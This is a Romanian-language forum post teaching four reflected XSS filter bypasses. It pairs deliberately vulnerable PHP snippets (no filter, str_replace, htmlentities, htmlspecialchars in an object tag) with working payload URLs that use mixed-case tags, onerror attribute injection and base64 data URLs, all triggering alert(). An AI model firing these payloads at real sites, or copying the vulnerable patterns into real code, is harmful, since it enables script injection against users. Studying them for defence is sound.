Jump to content
Corex

Putin despre XSS

Recommended Posts

Posted (edited)

In acest tutorial va voi arata 4 tipuri de bypasuri XSS si cam cum arata scriptul in spate.

Sa inepem !

Fara Filtru.

Varianta fara filtru nu prea iti da batai de cap deoarece se introduce direct vectorul <script>alert(/xss/)</script>

Cum apare acest tip de xss? Pur si simplu afiseaza toate informatiile care sunt trecute prin GET

codu din spate arata cam asa


<?php
$functie =($_GET ['xss']);
echo ("$functie ")
?>

Ca sa afisezi alerta XSS vei face asa

www.white-hackers.com/xss1.php?xss=<script>alert(2)</script>

Bypass basic folosinduse de filtrul str_replace()

Aceasta functie cauta un sir specificat (in cazul nostru) <script> si il modifica (in cazul nostru NULL)

Haide sa vedeti si cum arata codu sursa pentru acest tip de XSS


<?php
echo 'Rezultat '.str_replace('script', null, $_GET['xss']);
?>

Ca sa treci de acest filtru trebuie sa folosim un bypass (este foarte usor)

www.white-hackers.com/xss2.php?xss=<ScRiPt>alert(2)</ScRiPt>

XSS Filtru htmlentities()

htmlentities converteste toate functiile din HTML . Intr-un cuvant toate tagurile din HTML le traduce in HTML (nu afecteaza codul sursa)

Scriptul din spate o sa arate cam asa


<?php
echo "<img alt='' src='".htmlentities($_GET['xss'])."' />";
?>

Ca sa trecem de acest filtru trebuie sa continuam scriptul dar sa includem alerta

acest lucru se va face cam asa

www.white-hackers.com/xss3.php?xss=.' onerror='alert("XSS")

Filtru folosinduse de data URLs

Aceasta metoda este putin mai ciudata deoarece practic vom folosi datele URL care in cele mai multe cazuri sunt folosite pentru imagini pentru a le pastra ca si text intr-un HTML

Haide sa vedem cum arata codul sursa


<?php
echo '<object data="'.htmlspecialchars($_GET['xss']).'"></object>';
?>

Ca sa afisam alerta XSS trebuie sa ne folosim de data:text/html;base64

iar dupa vom cripta in base64 vectorul <script>alert(2)</script>

Deci va arata cam asa

www.white-hackers.com/xss4.php?xss=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

Edited by Corex
  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...